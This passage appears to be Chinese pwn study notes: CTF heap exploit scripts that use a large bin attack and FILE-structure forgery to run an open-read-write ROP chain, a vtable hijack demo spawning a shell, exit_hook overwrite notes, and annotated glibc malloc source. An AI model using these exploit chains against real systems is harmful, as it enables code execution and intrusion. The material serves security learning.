2 0x48: leak_heap + 0x200, # fakechunk 2 0x88: leak_heap+0x1170, 0xd8: 0x1f2d00 + libc_base +0x8}, filler=b'\x00', length=0xd8+8) # 确保长度为0xd0,填充为b'\x09',加8是因为fit函数从0开始计数,而0xd0是索引,实际需要0xd0+1个字节的长度pop_rdi = libc_base +0x0000240e5pop_rsi = libc_base + 0x02573epop_rdx = libc_base + 0x026302syscallret = libc_base + 0x22832leave_ret = libc_base + 0x00288dapop_r12_r13 = libc_base + 0x000037d86pop131415 = libc_base +0x0240e0pd = flat( { 0x0:bytes(struct_fp), #------fake __printf_buffer--- 0xe0:leak_heap+0xe8, 0xe8:[ 0, #write_base 0 0, #write_ptr 8 leak_heap+0xe8+0x30+1, #write_end 0x10 leak_heap+0x110, #written 0x18 p32(11), #mode 0x20 ], #---------------------------- #------fake obstack---------- 0x110:leak_heap+0x110, 0x110+0x8:pop131415, 0x110+0x10:0, # 进行填充 0x110+0x18:'/flag.tx', # 这里不同名字会影响....比如转译 0x110+0x20:'t\x00\x00\x00\x00\x00\x00\x00', 0x110+0x28:pop_r12_r13, 0x110+0x30: pop_rdi, 0x110+0x38:leave_ret, #0x110+0x48:leak_heap+0x110+0x18, 0x110 + 0x40:pop_r12_r13, 0x110+0x50:[0xff], 0x110 + 0x58: pop_r12_r13, #-----------ROP------------ 0x128 + 0x48: leak_heap+0x200, 0x110 + 0x68: leak_heap+0x200, 0x110 + 0x70: pop_rdi, 0x110 + 0x78: leak_heap+0x128, 0x110 + 0x80: pop_rsi, 0x110 + 0x88: 0, 0x110 + 0x90: pop_rdx, 0x110 + 0x98: 0, 0x110 + 0xa0: libc_base+libc.sym.open, 0x110 + 0xa8: pop_rdi, 0x110 + 0xb0: 3, 0x110 + 0xb8: pop_rsi, 0x110 + 0xc0: leak_heap+0x300, 0x110 + 0xc8: pop_rdx, 0x110 + 0xd0: 0x40, 0x110 + 0xd8: libc_base+libc.sym.read, 0x110 + 0xe0: pop_rdi, 0x110 + 0xe8: 1, 0x110 + 0xf0: pop_rsi, 0x110 + 0xf8: leak_heap+0x300, 0x110 + 0x100: pop_rdx, 0x110 + 0x108: 0x30, 0x110 + 0x110: libc_base+libc.sym.write })edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(libcbase+0x1f7680-0x20))delete(2)add(0x440)add(0x418)edit(0,pd[0x10:])pause()p.sendlineafter("ch>", str(5))p.interactive()
原始exp (失败的、做题的时候写的) ( 可以回头看看还差多少…离成功)少了个锁
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145# -*- coding: utf-8 -*-from pwn import*from pwncli import *context(os = 'linux', arch = 'amd64', log_level = 'debug')context.terminal = ['tmux', 'splitw', '-h']def debug(cmd=''): cmd += "b main\n" gdb.attach(p, cmd) pause()host = ""port = 0p = process("./chal")#p = remote(host, port)libc = ELF("./libc.so.6")debug()def add(size): p.sendlineafter("ch>", str(1)) p.sendlineafter("size>",str(size).encode())def delete(index): p.sendlineafter("ch>", str(2)) p.sendlineafter("index>",str(index).encode())def show(index): p.sendlineafter("ch>", str(4)) p.sendlineafter("index>",str(index).encode())def edit(index, content): p.sendlineafter("ch>", str(3)) p.sendlineafter("index>",str(index).encode()) p.sendlineafter("content>",content)add(0x420)#largechunk 0add(0x430)add(0x418)delete(0)add(0x440)show(0)#leak largechunklibc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) -0x1f70d0log.success("libc_base = {}".format(hex(libc_base)))p.recvuntil("\x7f\x00\x00")heap_base = u64(p.recvn(6).ljust(8,b"\x00")) -0x290log.success("heap_base = {}".format(hex(heap_base)))#fake IOlibcbase=libc_basesystem=libcbase+libc.sym['system']leakheap = heap_baseleak_heap = heap_baselb = libcbaseiolistall = libcbase + 0x1f7680#iolistall = libcbase + 0x1f7723stack = b""stack += p64(libc_base + 0x00000000000400f3) # pop rax ; retstack += p64(2)stack += p64(libc_base + 0x00000000000240e5) # pop_rdistack += p64(heap_base + 0x380 + 0x10)stack += p64(libc_base + 0x000000000002573e) # pop_rsistack += p64(2)stack += p64(libc_base + 0x000000000026302) # pop rdx ; retstack += p64(0)stack += p64(libc_base + 0x0000000000022832) # syscall; ret; #stack += p64(libc.sym.open) # openstack += p64(libc_base + 0x00000000000240e5) # pop_rdistack += p64(0)stack += p64(libc_base + 0x000000000002573e) # pop_rsistack += p64(heap_base + 0x380)stack += p64(libc_base + 0x000000000026302) # pop rdx ; pop r12 ; retstack += p64(0x40)stack += p64(libc.sym.read) # readstack += p64(libc_base + 0x00000000000240e5) # pop_rdistack += p64(1)stack += p64(libc_base + 0x000000000002573e) # pop_rsistack += p64(heap_base + 0x380)stack += p64(libc_base + 0x000000000026302) # pop_rdxstack += p64(0x40)stack += p64(libc.sym.write) # writeputsaddr=libcbase+libc.sym['puts']#fake_fp = leak_heap+0x290fake_fp = heap_base +0x2a0import pwnclifake_printf_buffer = fake_fp+0x58fp = pwncli.IO_FILE_plus_struct()fp.vtable = 0x1f2d00 + libc_basefp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1 #0x28fp._IO_write_end = fake_printf_buffer + 0x30 + 1 #0x30fp._IO_write_base = 0x0 #0x20fp._lock = leak_heap+0x1170#fake a obsatckfp._IO_backup_base = 0xff #0x50fp._IO_buf_base = putsaddr #0x38fp._IO_save_base = fake_fp + 0xa0 #0x48fp._wide_data = 0x68732f6e69622f #0xa0#fake a __printf_bufferfp = pwncli.payload_replace(bytes(fp),{ 0x58:0, 0x60:0, 0x68:fake_printf_buffer + 0x30 + 1, 0x70:0, 0x78:11, 0x80:fake_fp})pd = pwncli.flat( { 0x0:bytes(fp), 0xe0:fake_printf_buffer, })#large bin attack stderr poiniteredit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(iolistall-0x20))delete(2)add(0x440)add(0x418)edit(0,pd)#edit(0,p64(libcbase+0x1f70d0)*2+p64(heap_base+0x290)+p64(iolistall-0x20))#trigger __malloc_assertpause()#delete(100)p.sendlineafter("ch>", str(5))#add(0x4500)#gdb.attach(p,'b* (_IO_wfile_seekoff)')p.recv(1000)p.interactive()
weichaode123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122#!/usr/bin/env python3 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc filename = gift.filename # current filename is_debug = gift.debug # is debug or not is_remote = gift.remote # is remote or not gdb_pid = gift.gdb_pid # gdb pid if debug def cmd(i, prompt='ch>'): sla(prompt, str(i))def add(sz): cmd('1') sla('size>',str(sz)) def edit(i,cont): cmd('3') sla('>',str(i)) sla('>',(cont)) def show(i): cmd('4') sla('>',str(i)) def dele(i): cmd('2') sla('>',str(i)) add(0x428) add(0x428) add(0x418) add(0x430) dele(0) add(0x450) show(0) lb = recv_current_libc_addr(0x1f70d0,0x100) leak_ex2(lb) libc.address = lb r(10) leak_heap = u64_ex(r(6)) leak_ex2(leak_heap) dele(2) fake_fd_bk = lb + 0x1f70d0edit(0,flat({ 0:[ [fake_fd_bk]*2, 0x0,libc.sym._IO_2_1_stderr_ + 0x68-0x20 ] },filler='\x00' ))add(0x450) add(0x418) fake_fp = leak_heap gg1 = libc.search(asm("mov rbp,QWORD PTR [rdi+0x48];mov rax,QWORD PTR [rbp+0x18]")).__next__() gg2 = libc.search(asm("pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret")).__next__() tmp_addr = leak_heap+0x200 fp = IO_FILE_plus_struct() fp.vtable = 0x1f2d18 - 0x10 + lb fp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1 #0x28 fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1 #0x30 fp._IO_write_base = 0x0 #0x20 fp._lock=lb + 0x1f8a20 #fake a obsatck fp._IO_read_base = flat("flag.txt") #0x18 fp._IO_backup_base = 0xff #0x50 fp._IO_buf_base = gg1 #0x38 fp._IO_save_base = tmp_addr #0x48 CG.set_find_area(1,1) rop_pd = flat( { 0: [CG.orw_chain(fake_fp+0x18,leak_heap+0x100,2,1,0x30)] } )pd = flat( {0x0:bytes(fp), 0xe0:leak_heap+0xe8, 0xe8:[ 0, #write_base 0 0, #write_ptr 8 leak_heap+0xe8 + 0x30 + 1, #write_end 0x10 leak_heap+0x110, #written 0x18 p32(11), #mode 0x20 ],0x110:leak_heap, #fake a obstack 0x200:{ 0x8:gg2, 0x38:gg2, 0x48:tmp_addr, 0x10:tmp_addr+0x100, #rdi 0x18:tmp_addr, 0x28:libc.search(asm("leave;ret")).__next__(), 0x68:rop_pd }} )edit(0,flat({ 0:pd[0x10:] } ))leak_ex2(gg1) cmd(5) #0x88 ia()
pwn入门-55-iofile入门之vtable劫持
伪造vtable 理解了上面的原因就会晓得,攻击的原理就是伪造vtable的函数指针,当io操作调用里面的函数的时候,就会调用到我们自己伪造的函数
伪造分两种
1. 伪造部分指针,vtable不变,只是改写里面的特定指针,通过任意地址写可以实现
2. 伪造全部vtable,将vtable的指针覆盖指向我们控制的内存,在可控内存中布置函数指针
基础 vtable的地址: 64下对于_IO_FILE_plus 的偏移是0xd8
12pwndbg> p sizeof(struct _IO_FILE)$2 = 216 (0xd8)
printf会调用vtable中的xsputn,对应第8项
123456789pwndbg> tele 0x7ffff7dd06e000:0000│ 0x7ffff7dd06e0 (_IO_file_jumps) ◂— 0x001:0008│ 0x7ffff7dd06e8 (_IO_file_jumps+8) ◂— 0x002:0010│ 0x7ffff7dd06f0 (_IO_file_jumps+16) —▸ 0x7ffff7a869d0 (_IO_file_finish) ◂— push rbx03:0018│ 0x7ffff7dd06f8 (_IO_file_jumps+24) —▸ 0x7ffff7a87740 (_IO_file_overflow) ◂— mov ecx, dword ptr [rdi]04:0020│ 0x7ffff7dd0700 (_IO_file_jumps+32) —▸ 0x7ffff7a874b0 (_IO_file_underflow) ◂— mov eax, dword ptr [rdi]05:0028│ 0x7ffff7dd0708 (_IO_file_jumps+40) —▸ 0x7ffff7a88610 (_IO_default_uflow) ◂— mov rax, qword ptr [rdi + 0xd8]06:0030│ 0x7ffff7dd0710 (_IO_file_jumps+48) —▸ 0x7ffff7a89990 (_IO_default_pbackfail) ◂— push r1507:0038│ 0x7ffff7dd0718 (_IO_file_jumps+56) —▸ 0x7ffff7a861f0 (_IO_file_xsputn) ◂— xor eax, eax
案例 wiki上的例子就是第一种伪造,vtable不变,只是修改特定指针,但是目前流行的libc版本都不行了,例如libc2.23(已经过时了..) vtable所在地址就已经不可写
下面看第二种例子,伪造全部vtable
123456789101112131415161718192021#include <stdio.h>#include <stdlib.h>#include <string.h>int main(void){ FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40); vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; memcpy(fp,"sh",3); fake_vtable[7]=&system; //xsputn fwrite("hi",2,1,fp);}
因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入 _IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。
123456789► 0x7ffff7a7b7c8 <fwrite+182> call qword ptr [rax + 0x38] <_IO_file_xsputn> rdi: 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84 rsi: 0x7fffffffe1a0 ◂— 'modified content: thisisatest\n' rdx: 0x1e rcx: 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84 ► 0x7ffff7a7eab6 <fwrite+182> call qword ptr [rax + 0x38] <system@plt> *RDI 0x602010 ◂— 0xfb006873 /* 'sh' */
the_end1337到底是啥。。为啥经常出现。。
这个续表是什么呢?
咋只用给的libc。so呢,和ld
上面那三个应该是对象实例的指针
从map开始,是啥呢,反正是bss段了,可写
12345678910111213141516171819202122232425262728293031pwndbg> tele 0x7ffff7a0d000+0x3c56f800:0000│ 0x7ffff7dd26f8 (_IO_2_1_stdout_+216) —▸ 0x7ffff7dd06e0 (_IO_file_jumps) ◂— 0x001:0008│ 0x7ffff7dd2700 (stderr) —▸ 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad208602:0010│ 0x7ffff7dd2708 (stdout+2726106872) —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a8403:0018│ 0x7ffff7dd2710 (stdin) —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad208804:0020│ 0x7ffff7dd2718 (DW.ref.__gcc_personality_v0) —▸ 0x7ffff7a2db80 (__gcc_personality_v0) ◂— sub rsp, 0x2805:0028│ 0x7ffff7dd2720 (map) ◂— 0x0... ↓ 2 skippedpwndbg>08:0040│ 0x7ffff7dd2738 (__printf_va_arg_table) ◂— 0x0... ↓ 7 skippedpwndbg>10:0080│ 0x7ffff7dd2778 (buffer) ◂— 0x0... ↓ 7 skippedpwndbg>18:00c0│ 0x7ffff7dd27b8 (buffer) ◂— 0x0... ↓ 7 skippedpwndbg>20:0100│ 0x7ffff7dd27f8 (buffer) ◂— 0x0... ↓ 7 skippedpwndbg>28:0140│ 0x7ffff7dd2838 (buffer) ◂— 0x0... ↓ 7 skippedpwndbg>30:0180│ 0x7ffff7dd2878 (domain) ◂— 0x0... ↓ 7 skippedpwndbg>38:01c0│ 0x7ffff7dd28b8 (__stop___libc_freeres_ptrs) ◂— 0x0... ↓ 7 skippedpwndbg>40:0200│ 0x7ffff7dd28f8 (release_handle) ◂— 0x0
在虚表附近找可读可写的地方,伪造vtable,相差别太大,两字节正合适,可以修改到这里
也可以打其他的指针 dlfini
https://xz.aliyun.com/t/3255#toc-13 这个exp是可以的呀!
pwn入门-54-exit_hook函数利用
参考: https://www.cnblogs.com/bhxdn/p/14222558.html
exit的函数流demo
1234567#include<stdio.h>#include <stdlib.h>void main() { printf("bhxdn\n"); exit(0); }
不同libc版本不知道差别大不大,回头可以总结下, 2.35也是有这两个函数的
-> __run_exit_handlers
-> _dl_fini
_dl_fini中调用了 _ _rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive , 所以修改它们为onegadgte就可以getshell
1234567891011121314151617181920212223voidinternal_function_dl_fini (void){ ..#ifdef SHARED int do_audit = 0; again:#endif for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded; /* No need to do anything for empty namespaces or those used for auditing DSOs. */ if (nloaded == 0#ifdef SHARED || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit#endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock));
寻找要修改的函数指针 那如何修改呢? 需要找到这两个函数的位置,修改指针
可以看到这里的符号信息是rtld_lock_default_lock_recursive,而不是__rtld_lock_lock_recursive,为什么呢?
答: 可能是利用了一些函数指针替换、宏替换等等,先不细究
12345#if defined SHARED && defined _LIBC_REENTRANT \ && defined __rtld_lock_default_lock_recursive GL(dl_rtld_lock_recursive) = rtld_lock_default_lock_recursive; GL(dl_rtld_unlock_recursive) = rtld_lock_default_unlock_recursive;#endif
可以根据打印的地址反推出来是在_rtld_global结构体中
12345678pwndbg> tele 0x7ffff7de795e+0x2165e400:0000│ 0x7ffff7ffdf42 (_rtld_global+3842) ◂— 0x7d2000000000000001:0008│ 0x7ffff7ffdf4a (_rtld_global+3850) ◂— 0x7d3000007ffff7dd02:0010│ 0x7ffff7ffdf52 (_rtld_global+3858) ◂— 0xaed000007ffff7dd03:0018│ 0x7ffff7ffdf5a (_rtld_global+3866) ◂— 0x600007ffff7de04:0020│ 0x7ffff7ffdf62 (_rtld_global+3874) ◂— 0x100000000000005:0028│ 0x7ffff7ffdf6a (_rtld_global+3882) ◂— 0x300000000000000006:0030│ 0x7ffff7ffdf72 (_rtld_global+3890) ◂— 0x100007ffff7ff
该结构体的定义如下:
123456789101112131415161718struct rtld_global _rtld_global = { /* Generally the default presumption without further information is an * executable stack but this is not true for all platforms. */ ._dl_stack_flags = DEFAULT_STACK_PERMS,#ifdef _LIBC_REENTRANT ._dl_load_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER, ._dl_load_write_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,#endif ._dl_nns = 1, ._dl_ns = {#ifdef _LIBC_REENTRANT [LM_ID_BASE] = { ._ns_unique_sym_table = { .lock = _RTLD_LOCK_RECURSIVE_INITIALIZER } }#endif } };
根据作者文章可以知道这两个函数在_rtld_global结构体中,可以在gdb中进行打印,但为什么这个结构体定义那么简单,但在gdb中打印出来那么复杂?
答: 是因为在使用的时候会进行各种赋值
12345678910111213pwndbg> p _rtld_global$2 = { _dl_ns = {{ _ns_loaded = 0x7ffff7ffe168,..... }, audit_data = {{ cookie = 0, bindflags = 0 } <repeats 16 times>}, _dl_rtld_lock_recursive = 0x7ffff7dd7d20 <rtld_lock_default_lock_recursive>, _dl_rtld_unlock_recursive = 0x7ffff7dd7d30 <rtld_lock_default_unlock_recursive>,......
找到对应的地址, 只要把这俩地址中的一个改成了onegadget就可以getshell了,(或者system+binsh)
123456789pwndbg>0x7ffff7ffdf40 <_rtld_global+3840>: 0x0000000000000000 0x00007ffff7dd7c900x7ffff7ffdf50 <_rtld_global+3856>: 0x00007ffff7dd7ca0 0x00007ffff7deb0e00x7ffff7ffdf60 <_rtld_global+3872>: 0x0000000000000006 0x00000000000000010x7ffff7ffdf70 <_rtld_global+3888>: 0x00007ffff7ff5908 0x00000000000000010x7ffff7ffdf80 <_rtld_global+3904>: 0x0000000000001000 0x00000000000000780x7ffff7ffdf90 <_rtld_global+3920>: 0x0000000000000040 0x00007ffff7ff30100x7ffff7ffdfa0 <_rtld_global+3936>: 0x0000000000000001 0x00007ffff7de31300x7ffff7ffdfb0 <_rtld_global+3952>: 0x0000000000000000 0x0000000000000000
在libc-2.23中exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
ciscn_2019_n_7有后门函数, 直接改就行啦
最后两位 51b9
只能添加一个
2.23
1230x555555605000 0x0000000000000000 0x0000000000000021 ........!.......0x555555605010 0x000000000000000c 0x0000000a656d616e ........name....0x555555605020 0x0000555555605030 0x0000000000000021 0P`UUU..!.......
edit这里read有溢出, name这里,
12345678910111213141516171819202122int __fastcall sub_ED0(__int64 a1, void *a2){ unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); if ( unk_202014 ) { puts("New Author name:"); read(0, qword_202018 + 1, 0x10uLL); puts("New contents:"); a1 = 0LL; a2 = (void *)qword_202018[2]; read(0, a2, *qword_202018); if ( __readfsqword(0x28u) == v3 ) return puts("Over."); } else if ( __readfsqword(0x28u) == v3 ) { return puts("Dont't exists."); } return show(a1, (unsigned __int64)a2);}
这不就能实现一个任意地址写了吗
先name溢出修改函数指针,然后实现任意地址写
思路就有了,先泄露地址,然后得到libc地址,onegadget地址, 然后计算exit_hook,改成onegadget就可以了
12345678910111213141516171819from pwn import *elf = "./ciscn_2019_n_7"context.log_level= "debug"p = process(elf)#p =remote("124.16.75.116", 52018)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def leak(): p.recvuntil("Your choice-> ") p.sendline(b"666") addr = p.recv()[0:16] print(hex(addr))leak()p.interactive()
libcsearch
多了个回车 0a导致了打不通
哪来的0a呢, 是之前的sendline留下来的,
那为什么删除了之后还是打不通呢?
在close 2那里出问题了
所以不能close? 直接调用exit?
对,直接sendline一个不存在的参数
1234def edit(name,content): p.sendlineafter('choice-> \n','2') p.sendafter('name:\n',name) p.sendafter('contents:\n',content)
https://blog.csdn.net/qq_62887641/article/details/132867225
https://www.cnblogs.com/LynneHuan/p/15229694.html
怎么找函数地址来,用libc
libc.sym
libsearch出来的呢?
onegadget的选择根据libc版本选择,虽然版本相近有时候相似,但有时候 一个字节也不能错,所以一定要确定好
能断到 onegadget吗? 应该是有些寄存器条件不符合所有有的不行
问题如果不知道版本,怎么用搜出来的libc找onegadget地址? (手动确实也不是不行..)
pwn入门-53-glibc之malloc源码分析
布置好分析环境和资料下载源码 https://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.gz
demo源码:
12345678910111213141516#include <stdio.h>#include <string.h>#include <stdlib.h> int main(){ char *str; str = (char *) malloc(15); strcpy(str, "hello"); printf("String = %s, Address = 0x%lx\n", str, str); free(str); return(0);}
glibc-all-in-one: 2.23-0ubuntu3_amd64
给程序打好patch
修改/usr/lib/debug https://blog.csdn.net/m0_51251108/article/details/127098744
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL’ failed!
https://stackoverflow.com/questions/66098387/how-to-run-an-old-binary-on-modern-gnu-linux-distribution
gcc使用特定glibc:
gcc -L/pwntools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 -Wl,–rpath=/pwntools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 -Wl,-I/pwntools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so 1.c -o test
https://blog.csdn.net/m0_37876242/article/details/130018202
使用特定ld.so
/pwntools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so /pwntools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6
libc.so.6: version `GLIBC_2.34’ not found
可以从ubuntu16中编译一个 考出来
1gdb `find ./glibc-2.23 -type d -printf '-d %p '` ./223
b malloc
参考资料和工具chatgpt4
《ctf权威指南 pwn》
mallocglibc-2.23/malloc/malloc.c
malloc对应的函数是__libc_malloc(), 这是因为使用了宏
1strong_alias (__libc_malloc, __malloc) strong_alias (__libc_malloc, malloc)
__libc_malloc12345678910111213141516171819202122232425262728293031323334/*------------------------ Public wrappers. --------------------------------*/void *__libc_malloc (size_t bytes){ mstate ar_ptr; void *victim; //当前要执行操作的chunk//检查是否有malloc钩子,有的话调用钩子,常用的覆盖mallochook为onegadget、system等就是这个 void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); arena_get (ar_ptr, bytes); //寻找一个合适的arena来分配内存 victim = _int_malloc (ar_ptr, bytes); // 尝试分配内存(重要函数) /* Retry with another arena only if we were able to find a usable arena before. */ //如何没有找到合适的内存,就尝试找一个可用的arena(前提是 ar_ptr!=NULL),然后继续分配内存 if (!victim && ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) //如果申请了arena, 还需要进行解锁该arena (void) mutex_unlock (&ar_ptr->mutex);//检查了什么呢? assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim;}libc_hidden_def (__libc_malloc)
_int_malloc检查fastbin中是否有合适的1234567891011121314151617181920212223242526272829303132333435 /* If the size qualifies as a fastbin, first check corresponding bin. This code is safe to execute even if av is not yet initialized, so we can try it without checking, which saves some time on this fast path. *///fastbin分配,先进后出,比较的是无符号整数,这段代码可以在初始化堆之前运行 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); //得到对应fastbin大小的下标 mfastbinptr *fb = &fastbin (av, idx); //得到fastbin该大小的头指针 mchunkptr pp = *fb; do { // 如果fastbin中有chunk,后进先出取出来, victim = pp; if (victim == NULL) break; } while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim); if (victim != 0) // victim不等于NULL,说明找到了chunk,检查后返回给用户 { // 检查chunk大小是否和前面确定的idx一样,防止被伪造 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; } check_remalloced_chunk (av, victim, nb); // 检查二次分配? void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
检查smallbin中是否有合适的1234567891011121314151617181920212223242526272829303132333435363738 /* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */// smallbin范围,先进先出 if (in_smallbin_range (nb)) // 是否在范围内 { idx = smallbin_index (nb); bin = bin_at (av, idx); // 这里是获取头吧 bin[x]这个东西? if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ //尚未初始化,进行初始化 malloc_consolidate (av); else { // 检查双向链表是否被破坏 bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); //设置使用标志位 bin->bk = bck; bck->fd = bin; if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); // 检查分配的chunk void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
计算largebin的idx,整合fastbin1234567891011121314151617 /* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */// 计算largebin的idx(仅仅是计算). 然后整理fastbin、检查有没有fastbin能够合并 else { idx = largebin_index (nb); if (have_fastchunks (av)) malloc_consolidate (av); }
大的外层for循环 进入大循环,包含了_int_malloc之后所有过程
内层第一个while循环 遍历unsortedbin,大小合适就取出,否则放入small/largebin(唯一将chunk放入这俩的机会)
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465// 进入大循环,包含了_int_malloc之后所有过程 for (;; ) { //内层的第一个while循环,遍历unsortedbin,大小合适就取出,否则放入small/largebin(唯一将chunk放入这俩的机会) int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && // 用户请求的是smallbin大小 bck == unsorted_chunks (av) && //unsorted bin只有一个chunk victim == av->last_remainder && //且chunk为last_remainder??? (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // 并且满足拆分条件时,进行拆分 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } // 从unsorted bin中取出chunk /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* 如果大小合适就返回给用户 Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
放入small/largebin
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071 /* place chunk in bin */ // chunk大小不合适,插入对应的bin中, 插入过程就是双链表插入结点的过程 if (in_smallbin_range (size)) { // bck指向头结点,fwd是头结点的fd结点,chunk会被插入到头结点和fwd结点之间,(smallbin头插) victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else // 否则在largebin的范围内 { victim_index = largebin_index (size); bck = bin_at (av, victim_index); // 当前largebin fwd = bck->fd; // 当前bin中最大的chunk // 需要对双链表进行额外操作,找到合适大小的位置 /* maintain large bins in sorted order */ if (fwd != bck) // 链表不为空 { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; // 先设置PREV_INUSE /* if smaller than smallest, bypass loop below */ assert ((bck->bk->size & NON_MAIN_ARENA) == 0); // 如果要申请的大小小于这个largebin的最小的chunk,就把它放到最后面(链尾) (还是看图理解比较好 if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; // largebin本身 bck = bck->bk; // 当前最小chunk victim->fd_nextsize = fwd->fd;// 最大的chunk victim->bk_nextsize = fwd->fd->bk_nextsize; // 最小的chunk // 这一句其实干了两件事,可以分两步来的, // 先把最小chunk的fd_nextsize指向了victim,然后又把最大chunk的bk_nextsize指向了victim fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else // 如果不小于最小的chunk的话,就通过fd_nextsize找到不比它大的chunk(<=) { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) //小于该chunk大小,就继续往前找 { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) 